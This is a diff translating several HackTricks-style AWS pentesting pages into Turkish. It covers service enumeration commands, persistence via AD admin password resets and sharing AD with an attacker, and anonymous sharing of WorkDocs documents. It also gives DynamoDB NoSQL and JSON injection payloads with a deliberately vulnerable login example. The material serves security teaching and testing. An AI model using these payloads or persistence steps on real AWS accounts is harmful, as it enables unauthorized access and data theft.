Kullanıcı Havuzunda (`aws cognito-idp initiate-auth...`) kimlik doğrulandığında **IdToken'da belirtilen IAM rolünü** almak için bir diğer gereklilik, **Kimlik Sağlayıcı Kimlik doğrulama sağlayıcısının** **rolün token'dan seçilmesi gerektiğini** belirtmesidir.
-The **roles** a user have access to are **inside the `IdToken`**, and a user can **select which role he would like credentials for** with the **`--custom-role-arn`** from `aws cognito-identity get-credentials-for-identity`.\ -However, if the **default option** is the one **configured** (`use default role`), and you try to access a role from the IdToken, you will get **error** (that's why the previous configuration is needed): - +Bir kullanıcının erişebileceği **roller**, **`IdToken`** içindedir ve bir kullanıcı, **`aws cognito-identity get-credentials-for-identity`** ile **`--custom-role-arn`** kullanarak hangi rol için kimlik bilgileri almak istediğini **seçebilir**.\ +Ancak, eğer **varsayılan seçenek** **yapılandırılmış olan** ise (`varsayılan rolü kullan`), ve IdToken'dan bir role erişmeye çalışırsanız, **hata** alırsınız (bu nedenle önceki yapılandırma gereklidir): ``` An error occurred (InvalidParameterException) when calling the GetCredentialsForIdentity operation: Only SAML providers and providers with RoleMappings support custom role ARN. ``` - > [!WARNING] -> Note that the role assigned to a **User Pool Group** needs to be **accesible by the Identity Provider** that **trust the User Pool** (as the IAM role **session credentials are going to be obtained from it**). - +> **Kullanıcı Havuzu Grubu**'na atanan rolün, **Kullanıcı Havuzuna güvenen Kimlik Sağlayıcı tarafından erişilebilir olması gerektiğini** unutmayın (çünkü IAM rolü **oturum kimlik bilgileri buradan alınacaktır**). ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Principal": { - "Federated": "cognito-identity.amazonaws.com" - }, - "Action": "sts:AssumeRoleWithWebIdentity", - "Condition": { - "StringEquals": { - "cognito-identity.amazonaws.com:aud": "us-east-1:2361092e-9db6-a876-1027-10387c9de439" - }, - "ForAnyValue:StringLike": { - "cognito-identity.amazonaws.com:amr": "authenticated" - } - } - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"Federated": "cognito-identity.amazonaws.com" +}, +"Action": "sts:AssumeRoleWithWebIdentity", +"Condition": { +"StringEquals": { +"cognito-identity.amazonaws.com:aud": "us-east-1:2361092e-9db6-a876-1027-10387c9de439" +}, +"ForAnyValue:StringLike": { +"cognito-identity.amazonaws.com:amr": "authenticated" +} +} +} +] }js ``` - {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md b/src/pentesting-cloud/aws-security/aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md index 2a907b71b..3fe06d02b 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md @@ -4,30 +4,28 @@ ## DataPipeline -AWS Data Pipeline is designed to facilitate the **access, transformation, and efficient transfer** of data at scale. It allows the following operations to be performed: +AWS Data Pipeline, verilerin **erişimini, dönüşümünü ve verimli transferini** ölçekli bir şekilde kolaylaştırmak için tasarlanmıştır. Aşağıdaki işlemlerin gerçekleştirilmesine olanak tanır: -1. **Access Your Data Where It’s Stored**: Data residing in various AWS services can be accessed seamlessly. -2. **Transform and Process at Scale**: Large-scale data processing and transformation tasks are handled efficiently. -3. **Efficiently Transfer Results**: The processed data can be efficiently transferred to multiple AWS services including: - - Amazon S3 - - Amazon RDS - - Amazon DynamoDB - - Amazon EMR +1. **Verilerinizi Depolandığı Yerden Erişin**: Çeşitli AWS hizmetlerinde bulunan verilere kesintisiz erişim sağlanabilir. +2. **Ölçekli Dönüşüm ve İşleme**: Büyük ölçekli veri işleme ve dönüşüm görevleri verimli bir şekilde gerçekleştirilir. +3. **Sonuçları Verimli Bir Şekilde Transfer Edin**: İşlenmiş veriler, aşağıdaki gibi birden fazla AWS hizmetine verimli bir şekilde transfer edilebilir: +- Amazon S3 +- Amazon RDS +- Amazon DynamoDB +- Amazon EMR -In essence, AWS Data Pipeline streamlines the movement and processing of data between different AWS compute and storage services, as well as on-premises data sources, at specified intervals. +Özünde, AWS Data Pipeline, verilerin farklı AWS hesaplama ve depolama hizmetleri ile yerel veri kaynakları arasında belirli aralıklarla hareketini ve işlenmesini kolaylaştırır. ### Enumeration - ```bash aws datapipeline list-pipelines aws datapipeline describe-pipelines --pipeline-ids aws datapipeline list-runs --pipeline-id aws datapipeline get-pipeline-definition --pipeline-id ``` - ### Privesc -In the following page you can check how to **abuse datapipeline permissions to escalate privileges**: +Aşağıdaki sayfada **datapipeline izinlerini kötüye kullanarak ayrıcalıkları artırma** yöntemini kontrol edebilirsiniz: {{#ref}} ../aws-privilege-escalation/aws-datapipeline-privesc.md @@ -35,10 +33,9 @@ In the following page you can check how to **abuse datapipeline permissions to e ## CodePipeline -AWS CodePipeline is a fully managed **continuous delivery service** that helps you **automate your release pipelines** for fast and reliable application and infrastructure updates. CodePipeline automates the **build, test, and deploy phases** of your release process every time there is a code change, based on the release model you define. +AWS CodePipeline, uygulama ve altyapı güncellemeleri için **yayın boru hatlarınızı otomatikleştirmenize** yardımcı olan tamamen yönetilen bir **sürekli teslimat hizmetidir**. CodePipeline, tanımladığınız yayın modeline dayanarak, her kod değişikliğinde yayın sürecinizin **oluşturma, test etme ve dağıtım aşamalarını** otomatikleştirir. ### Enumeration - ```bash aws codepipeline list-pipelines aws codepipeline get-pipeline --name @@ -47,10 +44,9 @@ aws codepipeline list-pipeline-executions --pipeline-name aws codepipeline list-webhooks aws codepipeline get-pipeline-state --name ``` - ### Privesc -In the following page you can check how to **abuse codepipeline permissions to escalate privileges**: +Aşağıdaki sayfada **codepipeline izinlerini kötüye kullanarak ayrıcalıkları artırma** yöntemini kontrol edebilirsiniz: {{#ref}} ../aws-privilege-escalation/aws-codepipeline-privesc.md @@ -58,12 +54,11 @@ In the following page you can check how to **abuse codepipeline permissions to e ## CodeCommit -It is a **version control service**, which is hosted and fully managed by Amazon, which can be used to privately store data (documents, binary files, source code) and manage them in the cloud. +Bu, Amazon tarafından barındırılan ve tamamen yönetilen bir **sürüm kontrol hizmetidir**, verileri (belgeler, ikili dosyalar, kaynak kodu) özel olarak depolamak ve bulutta yönetmek için kullanılabilir. -It **eliminates** the requirement for the user to know Git and **manage their own source control system** or worry about scaling up or down their infrastructure. Codecommit supports all the standard **functionalities that can be found in Git**, which means it works effortlessly with user’s current Git-based tools. +Bu, kullanıcının Git'i bilmesini ve **kendi kaynak kontrol sistemini yönetmesini** veya altyapısını ölçeklendirme konusunda endişelenmesini **ortadan kaldırır**. Codecommit, kullanıcının mevcut Git tabanlı araçlarıyla sorunsuz bir şekilde çalıştığı anlamına gelen tüm standart **işlevleri destekler**. ### Enumeration - ```bash # Repos aws codecommit list-repositories @@ -95,13 +90,8 @@ ssh-keygen -f .ssh/id_rsa -l -E md5 # Clone repo git clone ssh://@git-codecommit..amazonaws.com/v1/repos/ ``` - -## References +## Referanslar - [https://docs.aws.amazon.com/whitepapers/latest/aws-overview/analytics.html](https://docs.aws.amazon.com/whitepapers/latest/aws-overview/analytics.html) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md index 93992174c..d510e265c 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md @@ -4,26 +4,25 @@ ## Directory Services -AWS Directory Service for Microsoft Active Directory is a managed service that makes it easy to **set up, operate, and scale a directory** in the AWS Cloud. It is built on actual **Microsoft Active Directory** and integrates tightly with other AWS services, making it easy to manage your directory-aware workloads and AWS resources. With AWS Managed Microsoft AD, you can **use your existing** Active Directory users, groups, and policies to manage access to your AWS resources. This can help simplify your identity management and reduce the need for additional identity solutions. AWS Managed Microsoft AD also provides automatic backups and disaster recovery capabilities, helping to ensure the availability and durability of your directory. Overall, AWS Directory Service for Microsoft Active Directory can help you save time and resources by providing a managed, highly available, and scalable Active Directory service in the AWS Cloud. +AWS Directory Service for Microsoft Active Directory, AWS Cloud'da bir dizin **kurmayı, işletmeyi ve ölçeklendirmeyi** kolaylaştıran yönetilen bir hizmettir. Gerçek **Microsoft Active Directory** üzerine inşa edilmiştir ve diğer AWS hizmetleriyle sıkı bir şekilde entegre edilmiştir, bu da dizin bilincine sahip iş yüklerinizi ve AWS kaynaklarınızı yönetmeyi kolaylaştırır. AWS Managed Microsoft AD ile mevcut Active Directory kullanıcılarınızı, gruplarınızı ve politikalarınızı kullanarak AWS kaynaklarınıza erişimi yönetebilirsiniz. Bu, kimlik yönetiminizi basitleştirmeye ve ek kimlik çözümlerine olan ihtiyacı azaltmaya yardımcı olabilir. AWS Managed Microsoft AD ayrıca otomatik yedeklemeler ve felaket kurtarma yetenekleri sunarak dizininizin kullanılabilirliğini ve dayanıklılığını sağlamaya yardımcı olur. Genel olarak, AWS Directory Service for Microsoft Active Directory, AWS Cloud'da yönetilen, yüksek kullanılabilirlikte ve ölçeklenebilir bir Active Directory hizmeti sunarak zaman ve kaynak tasarrufu yapmanıza yardımcı olabilir. ### Options -Directory Services allows to create 5 types of directories: +Directory Services, 5 tür dizin oluşturmanıza olanak tanır: -- **AWS Managed Microsoft AD**: Which will run a new **Microsoft AD in AWS**. You will be able to set the admin password and access the DCs in a VPC. -- **Simple AD**: Which will be a **Linux-Samba** Active Directory–compatible server. You will be able to set the admin password and access the DCs in a VPC. -- **AD Connector**: A proxy for **redirecting directory requests to your existing Microsoft Active Directory** without caching any information in the cloud. It will be listening in a **VPC** and you need to give **credentials to access the existing AD**. -- **Amazon Cognito User Pools**: This is the same as Cognito User Pools. -- **Cloud Directory**: This is the **simplest** one. A **serverless** directory where you indicate the **schema** to use and are **billed according to the usage**. +- **AWS Managed Microsoft AD**: AWS'de yeni bir **Microsoft AD** çalıştıracaktır. Yönetici parolasını ayarlayabilecek ve bir VPC'deki DC'lere erişebileceksiniz. +- **Simple AD**: **Linux-Samba** Active Directory uyumlu bir sunucu olacaktır. Yönetici parolasını ayarlayabilecek ve bir VPC'deki DC'lere erişebileceksiniz. +- **AD Connector**: **mevcut Microsoft Active Directory'nize dizin isteklerini yönlendiren** bir proxy. Bulutta herhangi bir bilgi önbelleğe almadan çalışacaktır. Bir **VPC**'de dinleyecek ve **mevcut AD'ye erişim için kimlik bilgileri** vermeniz gerekecek. +- **Amazon Cognito User Pools**: Bu, Cognito User Pools ile aynıdır. +- **Cloud Directory**: Bu, **en basit** olanıdır. Kullanacağınız **şemayı** belirttiğiniz ve **kullanıma göre faturalandırıldığınız** bir **sunucusuz** dizin. -AWS Directory services allows to **synchronise** with your existing **on-premises** Microsoft AD, **run your own one** in AWS or synchronize with **other directory types**. +AWS Directory services, mevcut **yerel** Microsoft AD'nizle **senkronize** olmanıza, AWS'de **kendi dizininizi** çalıştırmanıza veya **diğer dizin türleriyle** senkronize olmanıza olanak tanır. ### Lab -Here you can find a nice tutorial to create you own Microsoft AD in AWS: [https://docs.aws.amazon.com/directoryservice/latest/admin-guide/ms_ad_tutorial_test_lab_base.html](https://docs.aws.amazon.com/directoryservice/latest/admin-guide/ms_ad_tutorial_test_lab_base.html) +AWS'de kendi Microsoft AD'nizi oluşturmak için güzel bir öğretici bulabilirsiniz: [https://docs.aws.amazon.com/directoryservice/latest/admin-guide/ms_ad_tutorial_test_lab_base.html](https://docs.aws.amazon.com/directoryservice/latest/admin-guide/ms_ad_tutorial_test_lab_base.html) ### Enumeration - ```bash # Get directories and DCs aws ds describe-directories @@ -36,51 +35,49 @@ aws ds get-directory-limits aws ds list-certificates --directory-id aws ds describe-certificate --directory-id --certificate-id ``` +### Giriş -### Login - -Note that if the **description** of the directory contained a **domain** in the field **`AccessUrl`** it's because a **user** can probably **login** with its **AD credentials** in some **AWS services:** +Dizin **`AccessUrl`** alanında bir **alan** içeriyorsa, bu, bir **kullanıcının** muhtemelen bazı **AWS hizmetlerinde** **AD kimlik bilgileri** ile **giriş yapabileceği** anlamına gelir: - `.awsapps.com/connect` (Amazon Connect) - `.awsapps.com/workdocs` (Amazon WorkDocs) - `.awsapps.com/workmail` (Amazon WorkMail) -- `.awsapps.com/console` (Amazon Management Console) -- `.awsapps.com/start` (IAM Identity Center) +- `.awsapps.com/console` (Amazon Yönetim Konsolu) +- `.awsapps.com/start` (IAM Kimlik Merkezi) -### Privilege Escalation +### Yetki Yükseltme {{#ref}} ../aws-privilege-escalation/aws-directory-services-privesc.md {{#endref}} -## Persistence +## Süreklilik -### Using an AD user +### Bir AD kullanıcısı kullanarak -An **AD user** can be given **access over the AWS management console** via a Role to assume. The **default username is Admin** and it's possible to **change its password** from AWS console. +Bir **AD kullanıcısına**, üstlenmesi gereken bir Rol aracılığıyla **AWS yönetim konsoluna erişim** verilebilir. **Varsayılan kullanıcı adı Admin**'dir ve şifresinin **AWS konsolundan değiştirilmesi** mümkündür. -Therefore, it's possible to **change the password of Admin**, **create a new user** or **change the password** of a user and grant that user a Role to maintain access.\ -It's also possible to **add a user to a group inside AD** and **give that AD group access to a Role** (to make this persistence more stealth). +Bu nedenle, **Admin'in şifresini değiştirmek**, **yeni bir kullanıcı oluşturmak** veya bir kullanıcının **şifresini değiştirmek** ve o kullanıcıya erişimi sürdürmek için bir Rol vermek mümkündür.\ +Ayrıca, **AD içinde bir gruba kullanıcı eklemek** ve **o AD grubuna bir Role erişim vermek** de mümkündür (bu sürekliliği daha gizli hale getirmek için). -### Sharing AD (from victim to attacker) +### AD'yi paylaşma (kurbanın saldırgana) -It's possible to share an AD environment from a victim to an attacker. This way the attacker will be able to continue accessing the AD env.\ -However, this implies sharing the managed AD and also creating an VPC peering connection. +Bir AD ortamını bir kurbandan bir saldırgana paylaşmak mümkündür. Bu şekilde saldırgan, AD ortamına erişmeye devam edebilecektir.\ +Ancak, bu, yönetilen AD'yi paylaşmayı ve ayrıca bir VPC peering bağlantısı oluşturmayı gerektirir. -You can find a guide here: [https://docs.aws.amazon.com/directoryservice/latest/admin-guide/step1_setup_networking.html](https://docs.aws.amazon.com/directoryservice/latest/admin-guide/step1_setup_networking.html) +Burada bir kılavuz bulabilirsiniz: [https://docs.aws.amazon.com/directoryservice/latest/admin-guide/step1_setup_networking.html](https://docs.aws.amazon.com/directoryservice/latest/admin-guide/step1_setup_networking.html) -### ~~Sharing AD (from attacker to victim)~~ +### ~~AD'yi paylaşma (saldırgandan kurbana)~~ -It doesn't look like possible to grant AWS access to users from a different AD env to one AWS account. +Farklı bir AD ortamındaki kullanıcılara bir AWS hesabına AWS erişimi vermenin mümkün olmadığı görünmektedir. ## WorkDocs -Amazon Web Services (AWS) WorkDocs is a cloud-based **file storage and sharing service**. It is part of the AWS suite of cloud computing services and is designed to provide a secure and scalable solution for organizations to store, share, and collaborate on files and documents. +Amazon Web Services (AWS) WorkDocs, bulut tabanlı bir **dosya depolama ve paylaşım hizmetidir**. AWS'nin bulut bilişim hizmetleri paketinin bir parçasıdır ve organizasyonların dosyaları ve belgeleri depolamak, paylaşmak ve üzerinde işbirliği yapmak için güvenli ve ölçeklenebilir bir çözüm sunmak üzere tasarlanmıştır. -AWS WorkDocs provides a web-based interface for users to upload, access, and manage their files and documents. It also offers features such as version control, real-time collaboration, and integration with other AWS services and third-party tools. - -### Enumeration +AWS WorkDocs, kullanıcıların dosyalarını ve belgelerini yüklemeleri, erişmeleri ve yönetmeleri için web tabanlı bir arayüz sağlar. Ayrıca sürüm kontrolü, gerçek zamanlı işbirliği ve diğer AWS hizmetleri ve üçüncü taraf araçlarla entegrasyon gibi özellikler sunar. +### Sayım ```bash # Get AD users (Admin not included) aws workdocs describe-users --organization-id @@ -109,7 +106,6 @@ aws workdocs describe-resource-permissions --resource-id aws workdocs add-resource-permissions --resource-id --principals Id=anonymous,Type=ANONYMOUS,Role=VIEWER ## This will give an id, the file will be acesible in: https://.awsapps.com/workdocs/index.html#/share/document/ ``` - ### Privesc {{#ref}} @@ -117,7 +113,3 @@ aws workdocs add-resource-permissions --resource-id --principals Id=anonymo {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md index caf35d03c..aaac992de 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md @@ -4,10 +4,9 @@ ## DocumentDB -Amazon DocumentDB, offering compatibility with MongoDB, is presented as a **fast, reliable, and fully managed database service**. Designed for simplicity in deployment, operation, and scalability, it allows the **seamless migration and operation of MongoDB-compatible databases in the cloud**. Users can leverage this service to execute their existing application code and utilize familiar drivers and tools, ensuring a smooth transition and operation akin to working with MongoDB. +Amazon DocumentDB, MongoDB ile uyumluluk sunarak, **hızlı, güvenilir ve tamamen yönetilen bir veritabanı hizmeti** olarak sunulmaktadır. Dağıtım, işletim ve ölçeklenebilirlikte basitlik için tasarlanmış olan bu hizmet, **bulutta MongoDB uyumlu veritabanlarının sorunsuz bir şekilde taşınmasını ve işletilmesini** sağlar. Kullanıcılar, mevcut uygulama kodlarını çalıştırmak ve tanıdık sürücüleri ve araçları kullanmak için bu hizmetten yararlanabilir, böylece MongoDB ile çalışmaya benzer bir geçiş ve işletim süreci sağlanır. ### Enumeration - ```bash aws docdb describe-db-clusters # Get username from "MasterUsername", get also the endpoint from "Endpoint" aws docdb describe-db-instances #Get hostnames from here @@ -20,10 +19,9 @@ aws docdb describe-db-cluster-parameters --db-cluster-parameter-group-name ``` - ### NoSQL Injection -As DocumentDB is a MongoDB compatible database, you can imagine it's also vulnerable to common NoSQL injection attacks: +DocumentDB, MongoDB uyumlu bir veritabanı olduğundan, yaygın NoSQL injection saldırılarına karşı da savunmasız olduğunu düşünebilirsiniz: {{#ref}} https://book.hacktricks.xyz/pentesting-web/nosql-injection @@ -40,7 +38,3 @@ https://book.hacktricks.xyz/pentesting-web/nosql-injection - [https://aws.amazon.com/blogs/database/analyze-amazon-documentdb-workloads-with-performance-insights/](https://aws.amazon.com/blogs/database/analyze-amazon-documentdb-workloads-with-performance-insights/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md index cb0864715..0bb8bcf48 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md @@ -4,30 +4,29 @@ ## DynamoDB -### Basic Information +### Temel Bilgiler -Amazon DynamoDB is presented by AWS as a **fully managed, serverless, key-value NoSQL database**, tailored for powering high-performance applications regardless of their size. The service ensures robust features including inherent security measures, uninterrupted backups, automated replication across multiple regions, integrated in-memory caching, and convenient data export utilities. +Amazon DynamoDB, AWS tarafından **tamamen yönetilen, sunucusuz, anahtar-değer NoSQL veritabanı** olarak sunulmaktadır ve boyutlarından bağımsız olarak yüksek performanslı uygulamaları desteklemek için tasarlanmıştır. Hizmet, yerleşik güvenlik önlemleri, kesintisiz yedeklemeler, birden fazla bölgede otomatik çoğaltma, entegre bellek içi önbellekleme ve kullanışlı veri dışa aktarma araçları gibi sağlam özellikler sunar. -In the context of DynamoDB, instead of establishing a traditional database, **tables are created**. Each table mandates the specification of a **partition key** as an integral component of the **table's primary key**. This partition key, essentially a **hash value**, plays a critical role in both the retrieval of items and the distribution of data across various hosts. This distribution is pivotal for maintaining both scalability and availability of the database. Additionally, there's an option to incorporate a **sort key** to further refine data organization. +DynamoDB bağlamında, geleneksel bir veritabanı kurmak yerine, **tablolar oluşturulur**. Her tablo, **tablonun birincil anahtarının** ayrılmaz bir bileşeni olarak bir **bölüm anahtarı** belirtmeyi zorunlu kılar. Bu bölüm anahtarı, esasen bir **hash değeri** olup, hem öğelerin alınmasında hem de verilerin çeşitli sunucular arasında dağıtımında kritik bir rol oynar. Bu dağıtım, veritabanının ölçeklenebilirliğini ve kullanılabilirliğini korumak için hayati öneme sahiptir. Ayrıca, veri organizasyonunu daha da geliştirmek için bir **sıralama anahtarı** ekleme seçeneği de bulunmaktadır. -### Encryption +### Şifreleme -By default, DynamoDB uses a KMS key that \*\*belongs to Amazon DynamoDB,\*\*not even the AWS managed key that at least belongs to your account. +Varsayılan olarak, DynamoDB, **Amazon DynamoDB'ye ait** bir KMS anahtarı kullanır, bu anahtar, en azından hesabınıza ait olan AWS yönetilen anahtar bile değildir.
-### Backups & Export to S3 +### Yedeklemeler & S3'e Dışa Aktarma -It's possible to **schedule** the generation of **table backups** or create them on **demand**. Moreover, it's also possible to enable **Point-in-time recovery (PITR) for a table.** Point-in-time recovery provides continuous **backups** of your DynamoDB data for **35 days** to help you protect against accidental write or delete operations. +**Tablo yedeklemelerinin** oluşturulmasını **planlamak** veya **talep üzerine** oluşturmak mümkündür. Ayrıca, bir tablo için **Zamanda Nokta Kurtarma (PITR)** özelliğini etkinleştirmek de mümkündür. Zamanda nokta kurtarma, yanlışlıkla yazma veya silme işlemlerine karşı koruma sağlamak için DynamoDB verilerinizi **35 gün** boyunca sürekli **yedekler**. -It's also possible to export **the data of a table to S3**, but the table needs to have **PITR enabled**. +Ayrıca, **bir tablonun verilerini S3'e dışa aktarmak** da mümkündür, ancak tablonun **PITR etkinleştirilmiş** olması gerekir. ### GUI -There is a GUI for local Dynamo services like [DynamoDB Local](https://aws.amazon.com/blogs/aws/dynamodb-local-for-desktop-development/), [dynalite](https://github.com/mhart/dynalite), [localstack](https://github.com/localstack/localstack), etc, that could be useful: [https://github.com/aaronshaf/dynamodb-admin](https://github.com/aaronshaf/dynamodb-admin) +[Local Dynamo hizmetleri](https://aws.amazon.com/blogs/aws/dynamodb-local-for-desktop-development/) için bir GUI bulunmaktadır, [dynalite](https://github.com/mhart/dynalite), [localstack](https://github.com/localstack/localstack) vb. gibi, bu da faydalı olabilir: [https://github.com/aaronshaf/dynamodb-admin](https://github.com/aaronshaf/dynamodb-admin) ### Enumeration - ```bash # Tables aws dynamodb list-tables @@ -36,7 +35,7 @@ aws dynamodb describe-table --table-name #Get metadata info #Check if point in time recovery is enabled aws dynamodb describe-continuous-backups \ - --table-name tablename +--table-name tablename # Backups aws dynamodb list-backups @@ -54,129 +53,112 @@ aws dynamodb describe-export --export-arn # Misc aws dynamodb describe-endpoints #Dynamodb endpoints ``` - -### Unauthenticated Access +### Kimlik Doğrulama Olmadan Erişim {{#ref}} ../aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md {{#endref}} -### Privesc +### Yetki Yükseltme {{#ref}} ../aws-privilege-escalation/aws-dynamodb-privesc.md {{#endref}} -### Post Exploitation +### İstismar Sonrası {{#ref}} ../aws-post-exploitation/aws-dynamodb-post-exploitation.md {{#endref}} -### Persistence +### Süreklilik {{#ref}} ../aws-persistence/aws-dynamodb-persistence.md {{#endref}} -## DynamoDB Injection +## DynamoDB Enjeksiyonu -### SQL Injection +### SQL Enjeksiyonu -There are ways to access DynamoDB data with **SQL syntax**, therefore, typical **SQL injections are also possible**. +DynamoDB verilerine **SQL sözdizimi** ile erişmenin yolları vardır, bu nedenle tipik **SQL enjeksiyonları da mümkündür**. {{#ref}} https://book.hacktricks.xyz/pentesting-web/sql-injection {{#endref}} -### NoSQL Injection +### NoSQL Enjeksiyonu -In DynamoDB different **conditions** can be used to retrieve data, like in a common NoSQL Injection if it's possible to **chain more conditions to retrieve** data you could obtain hidden data (or dump the whole table).\ -You can find here the conditions supported by DynamoDB: [https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html) +DynamoDB'de verileri almak için farklı **koşullar** kullanılabilir, eğer bir NoSQL Enjeksiyonunda olduğu gibi verileri almak için **daha fazla koşulu birleştirmek** mümkünse gizli verilere ulaşabilir (veya tüm tabloyu dökebilirsiniz).\ +DynamoDB tarafından desteklenen koşulları burada bulabilirsiniz: [https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html) -Note that **different conditions** are supported if the data is being accessed via **`query`** or via **`scan`**. +Verilere **`query`** veya **`scan`** aracılığıyla erişiliyorsa **farklı koşulların** desteklendiğini unutmayın. > [!NOTE] -> Actually, **Query** actions need to specify the **condition "EQ" (equals)** in the **primary** key to works, making it much **less prone to NoSQL injections** (and also making the operation very limited). - -If you can **change the comparison** performed or add new ones, you could retrieve more data. +> Aslında, **Query** işlemleri çalışması için **birincil** anahtarda **"EQ" (eşittir)** koşulunu belirtmelidir, bu da onu **NoSQL enjeksiyonlarına karşı daha az duyarlı** hale getirir (ve ayrıca işlemi çok sınırlı hale getirir). +Eğer **karşılaştırmayı** değiştirebilir veya yenilerini ekleyebilirseniz, daha fazla veri alabilirsiniz. ```bash # Comparators to dump the database "NE": "a123" #Get everything that doesn't equal "a123" "NOT_CONTAINS": "a123" #What you think "GT": " " #All strings are greater than a space ``` - {{#ref}} https://book.hacktricks.xyz/pentesting-web/nosql-injection {{#endref}} -### Raw Json injection +### Ham Json enjeksiyonu > [!CAUTION] -> **This vulnerability is based on dynamodb Scan Filter which is now deprecated!** +> **Bu zafiyet, artık kullanımdan kaldırılmış olan dynamodb Scan Filter'a dayanmaktadır!** -**DynamoDB** accepts **Json** objects to **search** for data inside the DB. If you find that you can write in the json object sent to search, you could make the DB dump, all the contents. - -For example, injecting in a request like: +**DynamoDB**, DB içindeki verileri **arama** için **Json** nesnelerini kabul eder. Eğer arama için gönderilen json nesnesinde yazma yeteneğiniz olduğunu bulursanız, DB'yi dökebilir, tüm içeriklerini alabilirsiniz. +Örneğin, aşağıdaki gibi bir isteğe enjeksiyon yapmak: ```bash '{"Id": {"ComparisonOperator": "EQ","AttributeValueList": [{"N": "' + user_input + '"}]}}' ``` - -an attacker could inject something like: +bir saldırgan şunları enjekte edebilir: `1000"}],"ComparisonOperator": "GT","AttributeValueList": [{"N": "0` -fix the "EQ" condition searching for the ID 1000 and then looking for all the data with a Id string greater and 0, which is all. - -Another **vulnerable example using a login** could be: +ID 1000 için "EQ" koşulunu düzeltin ve ardından 0'dan büyük bir Id dizesine sahip tüm verileri arayın, bu da hepsidir. +Başka bir **güvenlik açığı olan örnek bir giriş kullanarak** şöyle olabilir: ```python scan_filter = """{ - "username": { - "ComparisonOperator": "EQ", - "AttributeValueList": [{"S": "%s"}] - }, - "password": { - "ComparisonOperator": "EQ", - "AttributeValueList": [{"S": "%s"}] - } +"username": { +"ComparisonOperator": "EQ", +"AttributeValueList": [{"S": "%s"}] +}, +"password": { +"ComparisonOperator": "EQ", +"AttributeValueList": [{"S": "%s"}] +} } """ % (user_data['username'], user_data['password']) dynamodb.scan(TableName="table-name", ScanFilter=json.loads(scan_filter)) ``` - -This would be vulnerable to: - +Bu, şuna karşı savunmasız olacaktır: ``` username: none"}],"ComparisonOperator": "NE","AttributeValueList": [{"S": "none password: none"}],"ComparisonOperator": "NE","AttributeValueList": [{"S": "none ``` - ### :property Injection -Some SDKs allows to use a string indicating the filtering to be performed like: - +Bazı SDK'lar, gerçekleştirilecek filtrelemeyi belirten bir dize kullanmaya izin verir: ```java new ScanSpec().withProjectionExpression("UserName").withFilterExpression(user_input+" = :username and Password = :password").withValueMap(valueMap) ``` +DynamoDB'de **filtre ifadelerinde** bir niteliğin **değerini** **değiştirmek** için öğeleri tararken, token'lar **`:`** karakteri ile **başlamalıdır**. Bu token'lar, **çalışma zamanında** gerçek **nitelik değeri ile değiştirilir**. -You need to know that searching in DynamoDB for **substituting** an attribute **value** in **filter expressions** while scanning the items, the tokens should **begin** with the **`:`** character. Such tokens will be **replaced** with actual **attribute value at runtime**. - -Therefore, a login like the previous one can be bypassed with something like: - +Bu nedenle, önceki gibi bir giriş, şu şekilde atlatılabilir: ```bash :username = :username or :username # This will generate the query: # :username = :username or :username = :username and Password = :password # which is always true ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md index f365bc7f5..82967609f 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md @@ -4,7 +4,7 @@ ## VPC & Networking -Learn what a VPC is and about its components in: +Bir VPC'nin ne olduğunu ve bileşenlerini öğrenin: {{#ref}} aws-vpc-and-networking-basic-information.md @@ -12,37 +12,36 @@ aws-vpc-and-networking-basic-information.md ## EC2 -Amazon EC2 is utilized for initiating **virtual servers**. It allows for the configuration of **security** and **networking** and the management of **storage**. The flexibility of Amazon EC2 is evident in its ability to scale resources both upwards and downwards, effectively adapting to varying requirement changes or surges in popularity. This feature diminishes the necessity for precise traffic predictions. +Amazon EC2, **sanallaştırılmış sunucular** başlatmak için kullanılır. **Güvenlik** ve **ağ** yapılandırmasına izin verir ve **depolama** yönetimini sağlar. Amazon EC2'nin esnekliği, kaynakları yukarı ve aşağı ölçeklendirme yeteneğinde belirgindir; bu, değişen gereksinim değişikliklerine veya popülaritedeki artışlara etkili bir şekilde uyum sağlamasını sağlar. Bu özellik, kesin trafik tahminleri yapma gereksinimini 